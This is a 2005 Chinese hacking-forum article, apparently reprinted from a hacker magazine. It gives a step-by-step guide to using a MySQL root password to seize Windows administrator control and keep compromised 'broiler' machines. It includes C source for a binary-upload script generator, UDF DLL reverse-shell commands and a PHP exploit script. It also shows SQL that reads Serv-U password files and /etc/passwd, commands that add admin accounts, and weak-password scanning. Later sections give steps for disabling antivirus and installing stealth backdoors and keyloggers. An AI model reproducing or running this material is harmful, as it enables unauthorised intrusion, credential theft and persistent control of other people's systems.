|
 |
从Mysql到系统权限 |
热 |
| 从Mysql到系统权限 |
|
| 作者:未知 文章来源:本站原创 点击数: 更新时间:2005-8-20 |
注:此文已在黑客防线05年7期发表 Mysql数据库是一种应该非常广泛的数据库,其默认开放端口3306,在Linux、Unix系统中主要是Apache+php+Mysql的配制方式,在Microsoft windows系列中主要是php+Mysql的配制方式,本文主要介绍拿到Root口令后在Win2K、WinXP和Windows2003系统中如何来提升为系统管理员,并介绍几种加固肉鸡的方法,大家肯定不希望辛辛苦苦得到的肉鸡不易而飞吧!文章有不当之处请高手多多指教。 近来在实战中经过反复实验总结了自己的一套方法,也得了一些肉鸡,2cpu的4cpu的2G内存的,4G内存的皆有,速度真快啊,好爽啊,有点跑题了,哈哈。现在整理一下思路共享出来与广大黑迷分享(好东西要共同分享吗,哈哈),同时希望管理员把root密码设置的更安全些。以前也玩过Mysql,不过没仔细分析,近来研究主要是因为看了Mix的一篇文章高手们可能一看就会,但是广大菜鸟朋友们可能就有些晕了。接下来根据分同情况,原理加实例给大家一一讲解,不要闲偶罗嗦啊! 一、命令行下反向连接管理员权限Shell 反向连接Shell要满足两个条件: 第一:可以通过MySQL上传二进制文件,这里就借用一下Mix早编好的一个具有反向连接功能的Mix.dll文件,偷点懒吧,当然你也可以编写别的功能的dll文件。 第二:可以通过注册UDF DLL中自写的Function而执行任意命令。 上传二进制文件的原理如下: 定义二进制数据(十六进制表示) set @a = concat('',0x4d5a900003000000);//定义量a,变通过函数concat()给它符值 set @a = concat(@a,0x04000000ffff0000b80000000);//继续符值 ………………//同上继续符值,直到把要上传的二进文件内容全部符给变量a create table Mix(data LONGBLOB);//建立数据表Mix,仅一个字段data以存放二进制数据 insert into Mix values("");update Mix set data = @a;// 将二进制数据存放到表中 select data from Mix into DUMPFILE 'C:\\Mix.dll';//把表中内容导出到远程机器c:\Mix.dll中 注:CONCAT(str1,str2,...) 返回来自于参数连结的字符串。如果任何参数是NULL,返回NULL。可以有超过2个的参数。一个数字参数被变换为等价的字符串形式。 在导出文件时如果函有字符‘\’,‘/’,‘”’时在前面要加上字符’\’ 虽然上面介绍了方法,但是我们不可能打开十六进制编辑器一个ASCII码一个ASCII码的手工输进去,为此专门利用VC 编了一个小程序方便大家使用,此程序二进制,ASCII文件均可上传,经实验几百K的文件是可以上传上去的,如果文件大了可能会超出变量的赋值范围报错,其实经常用到的后门程序也就几十K,这已足已,如真需要上传大的文件可以成功后利用Ftp上传。以下是程序Mysql_upfile.exe源代码: #include #include #include unsigned long filelength(char *fl);//把输入的文件长度,由字符串型转换成十进制。 int main(int argc, char *argv[]) {FILE *fp; char ch; unsigned int i=1; if(argc !=4) { printf("\n# Mysql upfile written by yongger QQ:15387788 \n"); printf("# Mysql_upfile.exe >yongger.txt\n",argv[0]); printf("# LocalFile // 本地要上传的文件名!\n"); printf("# Filelength// 要上传文件十进制长度!\n"); printf("# RemoteFile// 输出到远程机器的的文件名!\n"); printf("# >yongger.txt//输出内容重定向到yongger.txt中!\n"); printf("# 1. Mysql_upfile.exe c:\\nc.exe 40062 c:\\\\nc.exe >yongger.txt\n"); printf("# 2. c:>mysql -h ip -uroot -p //登录远程Mysql数据库 \n"); printf("# 3. mysql>\\. yongger.txt//执行脚本\n"); printf("# 献给几位好友:Lm,wtf,icyfox,llikz,xiaodao,hunshimowang……\n"); return 0; } if((fp=fopen(argv[1],"rb"))==NULL)//打开本地上传的文件! {printf("Cannot open file !"); exit(1);} ch=fgetc(fp); printf("set @a = concat('',0x"); while (i<=filelength(argv[2]) && i>0)//while语句中为核心代码 {if ( ch>=0 && ch<=15 ) printf("0%x",ch); else printf("%x",(ch+256)%256); ch=fgetc(fp); i++;} fclose(fp); printf(");\n"); printf("use mysql;\n"); printf("create table yongger(data LONGBLOB);\n"); printf("insert into yongger values(\"\");\n"); printf("update yongger set data = @a;\n"); printf("select data from yongger into DUMPFILE \'%s\';\n",argv[3]); printf("drop table yongger;"); return 0;} unsigned longfilelength(char *fl) {inti,j; unsigned long result; j=1; result=0; for(i=strlen(fl);i>=1;i--) { result+=(fl[i-1]-48)*j; j*=10; } return result;} 注:while语句中循环部分为此程序的核心代码,如读文本文件时可以利用EOF来判断是否文件结束,但应用到二制文件时不成,所以利用变量I来控循环长度。因一个字符占8位,如果ASCII在0-15即十六进制的0-A当中时,用编辑器打开前面会多一个’0’, 所以利用语句printf("0%x",ch)输出。在读取二进制文件长度的字符时发现有的ASCII读出来是负数,经分析加上256后与编辑器中看到的ASCII值相同,所以利用语句printf("%x",(ch+256)%256)来输出。如图1所示:
此程序主要是生成能让mysql执行的上传脚本 mysql_upfile mix.dll 20480 c:\\mix.dll >yongger.txt//mix.dll是mix早编好的具有反向连接功能的dll文件,偷个懒拿来用用,哈哈。可以利用 dir命令或查看文件属性来确定此文件的字节数,c:\\mix.dll为传到远程机器上的位置(为了增加隐蔽性要以传到别的目录下,并起一个类似系统调用的文件名)。不要忘了加’\’噢!最后在加上>yongger.txt我们就所内容定向输出到yongger.txt里面了。 先在自己机器上装一个Mysql(偶装的是4.1.10-nt),通过命令mysql [-h host] [-u username] [-p[password]] [dbname]登录远程Mysql数据库,给大家来一段小插曲,如何得到弱口令的机器吗?装一个hscan1.2在Parameter Setting哪里设置一个大一点的IP范围(扫扫国外的不错噢),在Scan Modules Config 哪里只选择扫描check MYSQL weak accounts ,扫描的用户名和弱口令我们也可以自行修改conf目录下的mysql_user.dic和mysql_pass.dic文件。该休息了,找台肉鸡挂上去跑吧,等天早上起来看看有没有收获。哈哈还算可以吧,有四台机器如下图所示:
从Mysql Version来看,找版本越高的,后面带有nt字样的成功率会更高一些。Mysql –h 202.142.**.* -uroot –p 成功登录远程数据库后,可以利用命令status但看数据状态如下图:
执行命令 \. F:\tools\lm\debug\yongger.txt (注意“\”后有个“点”)出现如下图所示表示我们已经把mix.dll文件成功的传到了远程的c:\mix.dll下。
准备工作都做好了,最关键的部分到了,如何来反向连接。 利用如下语句创建函数:createfunction Mixconnect rerurns string soname 'c:\\mix.dll';/*注意修改文件地址 执行函数反向连接:select Mixconnect('61.156.*.*','521');/*注意修改反连回来的IP地址和端口号 注:CREATE [AGGREGATE] FUNCTION function_name RETURNS SONAME shared_library_name 一個用戶可定義函數(UDF)是用一個像MySQL的原生(內置)函數如ABS()和CONCAT()的新函數來擴展MySQL的方法。 AGGREGATE是MySQL 3.23的一個新選項。一個AGGREGATE函數功能就像一個原生MySQL GROUP函數如SUM或COUNT()。 CREATE FUNCTION在mysql.func系統表中保存函數名、類型和共享庫名。你必須對mysql資料庫有insert和delete權限以創建和拋棄函數。 所有活躍的函數在每次伺服器啟動時被重新裝載,除非你使用--skip-grant-tables選項啟動mysqld,在這種情況下,UDF初始化被跳過並且UDF是無法獲得的。(一個活躍函數是一個已經用CREATE FUNCTION裝載並且沒用DROP FUNCTION刪除的函數。) 如下面两图所示:成功创建函数,Mixconnect,以及反向连接成功。如执行create function Mixconnect returns string soname ‘c:\\mix.dll’;语句报错刚表明创建函数失败,以致无法取得SHELL,希望哪位高手能解决此问题。还有一个问题就是执行完语句select Mixconnect('61.156.*.*','521');后,退出后重新连数据库时,会报错,以致无法在连接上。珍对此种情况下文讲介绍另一种方法,有可能能得到系统权限。得到了SHELL后如何加后门,欲知详请,请看下文……
二、webshell下反向连接管理员权限SHELL 1.如果你得到一个webshell, 可以通过查看c:\winnt\my.ini(Win2003在c:\windows\my.ini) 的内容得到root的密码。上传一个phpspy.php上去,进入SQL语句执行功能。执行语句GRANT ALL PRIVILEGES ON *.* TO yongger@'%'IDENTIFIED BY '123456' WITH GRANT OPTION ;填加了一个远程root权限用户:yongger密码:123456。这样就可以利用上面的命令行方法了。
2.也可以利用phpspy.php把mix.dll上传上去, 在执行SQL语句: createfunction Mixconnect rerurns string soname 'x:\\mix.dll'; select Mixconnect('61.156.*.*','521'); 3。Superhei可修改并执行下superhie的程序来进行反向连接,代码如下: /************************************* ** Mysql function exp** By SuperHei **************************************/ //数据库设置 $host='localhost'; $user='root'; $pass=''; //dll路径 $dll_path='c:\\faukmix.dll'; //shell设置 $chost='127.0.0.1'; $cport='5000'; //=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=$link=mysql_connect($host,$user,$pass); if (!$link) { die('Could not connect: ' . mysql_error());} echo "Connected successfully as root ";echo "Create Function Myconnect...."; $query="create function myconnect returns integer soname '".$dll_path."';"; //echo $query; $result = mysql_query($query, $link) or print ("Cannot Create Fun, Sorry! "); echo "Ok!!";echo "Select Function ...."; $query="select myconnect('".$chost."','".$cport."');"; //echo $query; $result = mysql_query($query, $link); echo "Ok!!"; sleep(1);echo "Drop Function ...."; $query="drop function myconnect;"; $result = mysql_query($query, $link); mysql_close($link); echo "Ok!!";?> 三、无法创建函数时,如何取得管理员权限 如果我们可以通过MySQL上传二进制文件,而不能通过注册UDF DLL中自定义Function函数来执行任意命令。
1、启动等待法 我们可以把要执行的程序加到启动里面,比如写一个简单的加账号的批处理文件,内容如下: net user test test /adddel test.bat /f /q ,执行命令mysql_upfile.exe test.bat 43 C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\test.bat >c:\test.txt 然后登录远程mysql主机,执行\. C:\test.bat 如下图所示,就把test.bat传到远程机器的所有用户的启动里面了。哈哈,就等远程机器重新启动了。 注:下图成功写入启动的机器是WIN2k SERVER版,但在XP上做实验时遇到输汉字的目录时,输出时是乱码,希望高手指教。此批处理文件在开机执行时会弹出一个命令窗口,执行后文章并未删除。文章给大家介绍一款优秀的反弹木马。
2、Serv-U提权法 很多装有Mysql的机器同进也装有Serv-U,特别是虚拟主机给每一个用户开一个FTP帐户方便用户的更新,可以通过MYSQL读出它的密码档文件ServUDaemon.ini,如果遇到明文的密码,可以通过FTP直接上传SHELL,如果是密文可以查看WEB路径然后通过MYSQL导出SHELL。接下来结合一下具体的例子给大家演示一下: 首先导出密码档文件ServUDaemon.ini。在MYSQL提示符下输入:\. c:\getservupwd.txt Getservupwd.txt脚本内容如下: use mysql; create table yy(data TEXT); insert into yy values(""); load data infile "c:\\program files\\serv-u\\servudaemon.ini" into table yy; select data from yy; \T c:\ServUDaemon.ini drop table yy; 执行完毕后,就可在你的C盘下看ServUDaemon.ini的内容了,如果SERVU未安装在C盘,可以试一下是否在D盘上,经多次实验很多管理员都是默认路径安装的,如果是自定义安装,设置个变态的路径,哈哈,哪就没的玩了。密码档内容如下图所示:
其次,有了密码档,我们想办法来上传WEBSHELL。哇,50多个用户,密码还是明文的来(第一次遇到),上传WEBSHELL。但是我们经常遇到密码是经过加密的,如果你有时间有好的机器不反对爆破,在这里可以通过密码档和到网站的物理路径,细心的朋友一定注意到了,上面密码档的HomeDir 后面的路径里面没有“\”,这主要是因为MYSQL在读取时没有读出来,但是我们可以猜测出来的。很多管理员在给不同的站点建目录的时候是有规律的,经常是以它们的网站名称来建目录的,利用这一点在结合密码档中的USER这个参数值,在对比一下不同几个站点的HomeDir你就不难发现在哪里省略了“\”,有了物理路径,利用前面讲的方法就可以把SHELL上传上去了。 最后,想办法提权限。 1.查看是否装有pcanywhere,如下图所示,这个站的pcanywhere的密码档的路径有点变态,也许是自己思维定式,一般密码档都放在All Users目录下,然后它放在到All User.WINNT目录下了,晕倒!害的偶找了老半天。Pcanywhere远程连接登录,还要WIN2003登录密码,拿Pcanywhere的试了试不对,找到my.ini文件看了看root的口令,拿来试了试也不对,没办法在想别的办法吧! 2.找SA密码,拿pcanywhere和mysql的root口令连MSSQL数据库都没成功,浏览了好几个站的数据库连接文件都没找到SA口令,看来是没的玩了,在想别的办法吧。 3.还是拿Serv-u开刀吧。分别上传一ASP和PHP的SHELL后,均无法执行命令,郁闷啊,有些朋友这在想办法时可能会抽根烟慢慢想,咱不抽烟,抽烟有害身体健康,还是洗个西红柿,边吃想吧,哈哈。黑防上曾有一篇文章,在不能执行命令时利用ASP程序来如何提权,可惜手头没有,问了几个朋友也没有,只好放弃。到是跟朋友借了一个PHP下的SERV-U提权的程序,可惜实验时报错。这时想到了上传一个ASP。NET的SHELL上去试试,传了lake2写的一个SHELL上去,哇能执行命令,如下图所示:
DOS窗口的SHELL用习惯了,在肉鸡上用NC反向连接个SHELL出来,如下图所示:
虽然有了SHELL而且能执行命令,但是现在的权限还是不够。传了一个SU。EXE上去看看是否能提升权限,虽然经常利用它提权成功,可以加一个管理员用户,但是这次失败了,看来是真的没的玩了,真想放弃了。有意栽花花不发,无心插柳柳成阴。在不经意间读SERV-U密码档的时候意然发现了一个具有执行权限的用户,在加上密码是明文,ftp登录执行命令quote site exec “net user username passpwd /add” quote site exec “net localgroup administrators username/add” 如下图所示填加用户成功,可以3389登录了。
3.以上主要是针对windows系统的,对 unix和linux简单说几句,看运行了。 use mysql; create table yy(data TEXT); insert into yy values(""); load data infile "\/etc\/passwd" into table yy; select data from yaiy; \T c:\passwd.txt drop table yy; 利用以上脚本可以读出passwd的内容,可以看出网站的路径,在结合明小子的域名查询工具 domain.exe,猜测网站上的可写目录,通过图片所在的目录可写。利用前面的方法通过mysql写个phpspy.php上去。看是否能执行命令, 如果能id一下看看如何是root运气,如果不是uname –a 一下查看版本,去找牛人写的expliot程序,行不行就看运行了。 四、如何做到“肉鸡常相伴” 辛苦了好大一阵,好不容易反向连接一个系统权限的SHELL,接下来该如何加后门了。如果在安装后门时不成功可能是有杀毒软件,可以利用net stop 停掉服务,或利用pskill.exe 杀掉相应进程。 1.经典黑客工具MT。强烈建议大家在反向连接SHELL前,先上传一个MT上去,当然你也可以把自己经常用的工具提前上传上去。克隆账号,GUEST账号通常被管理员禁止了。Net user guest passwd给guest改个密码。Mt .exe –clone Administrator guest 把guest克隆成管理员。 可以利用mt.exe –chkuser 检查是否克隆成功。如果未开3389可以利用mt.exe –setupts 开启。还可以利用mt.exe –netget下载别的后门程序。如果没有提前上传MT,可以试利用tftp.exe –I get IP removefilename localfilename 。 注:有时MT不能用,可以在别的后门程序开的DOS SHELL中试试。 2. 一款优秀的反向连接后门pcshare 。 想办法申请一个HTTP网络空间,并能通过FTP登录。点“生成客户”按钮配置被控端程序。IP地址和端口填入等待控制端连接的地址和端口。选中“启用自备URL轩发本机IP地址”,在指定转发URL中填入你的HTTPP空间,如图yy.txt 中存放的等待控制端连接的地址和端口,可以通过IP刷新功能随时更新,更好的适应动态变化的用户。宿主进程名可根据自己不同需求选择,选中运行后自删除和键盘监控,点击生成,控制端就配置好了。有了运行后自删除功能,我们可以把它放到启动里面,它运行后即不会弹出窗口,也自动删除。它的键盘记录功能非常有助于进一点渗透。 注:如安装不成功很有可能是被杀毒软件查杀(如瑞星,诺盾),可以利用前面讲的方法先把杀毒软件关掉。
3. Radmin也疯狂 安装radmin需上传五个文件r_server.exe ,AdmDll.dll,raddrv.dll,regadmin.reg,install.bat radmin.reg内容如下: [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin] [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0] [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server] [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist] [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] "Port"=hex:ed,0c,00,00 //所开的端口 "Timeout"=hex:0a,00,00,00 "EnableLogFile"=hex:00,00,00,00 "LogFilePath"="c:\\logfile.txt" "FilterIp"=hex:00,00,00,00 "DisableTrayIcon"=hex:01,00,00,00 "AutoAllow"=hex:00,00,00,00 "AskUser"=hex:00,00,00,00 "EnableEventLog"=hex:00,00,00,00 "NTAuthEnabled"=hex:00,00,00,00 "Parameter"=hex:99,b6,39,73,3c,39,98,a4,d3,8d,11,76,48,ef,2e,0f //密码 建一批处理文件install.bat文件内容如下: regedit /s radmin.reg R_server.exe /install /silence net start r_server del radmin.reg /f /q del install.bat /f /q 上传完毕后运行一下install.bat后门就安装好了 注:在上传多个文件时,可以先利用winrar压缩,然后在利用命令行工具rar.exe解压。 4. 黑客之门大开方便之门 黑客之门1.2安装方法: ①感染系统文件的安装方式 注意:其中‘DllRegisterServer’是大小写敏感的,以下所有演示过程都是在命令行窗口下进行的。 C:\>rundll32 hkdoordll,DllRegisterServer conime.exe 1 1其中 hkdoordll是黑客之门服务器端,必须放在system32目录下,可以改名,conime.exe是你要感染的进程默认是services.exe,如果要感染系统文件,在system32目录下的不用带路径,其它的就要带路径,第一个1是安装方式,0表示只感染系统文件,1表示只感染进程,2表示感染系统文件,同时感染进程,默认是2;第2个1是启动方法,0是通过创建svchost启动的服务来启动后门,1是通过感染系统文件来启动后门,默认是1。 C:\>rundll32 hkdoordll,DllRegisterServer 上面是默认安装方式,它会感染services.exe文件,以便在系统重启时启动后门,同时把自己加载到services.exe进程中注意:除了csrss.exe,smss.exe外,其它的系统文件都可以感染要判断有没有安装成功,就要看system.tmp里的信息,它放在%winnt%\temp目录下,方法如下:C:\WINNT\temp>type system.tmp//这个文件的生成会有延时,多type几次系统找不到指定的文件。 ②通过svchost启动服务的安装方式 在命令行下运行‘rundll32 hkdoordll,DllRegisterServer 服务名 2 0’就可以了,其中‘服务名’必须合法,如运行‘rundll32 hkdoordll,DllRegisterServer Iprip 2 0’,就创建用svchost.exe来启动的Iprip服务来启动黑客之门,如果你不知道合法的服务名,可以先随便给一个,然后到日志里去看合法的服务名列表。 5. 记录密码法 所谓记录密码法就是登录进它的系统后,可以利用黑客之门或利用mt -findpass查看当前系统用户的密码,很多管理员的密码都是相当变态的噢!下载SERV-U密码档,破解pcanywhere密码,记录MYSQL的ROOT密码,如能发现sa密码当然在好不过,如果没有可以利用命令exec master..sp_addlogin UserName,Password exec master..sp_addsrvrolemember UserName,sysadmin加一个SA权限的用户。 以上几种后门的查找与清除也比较简单,在此不在缀述,文章有不当之处请高手指教 |
| 文章录入:Haihua 责任编辑:Haihua |
|
上一篇文章: 肉鸡保护一条龙
下一篇文章: 轻轻松松寻找极品肉鸡 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
|
|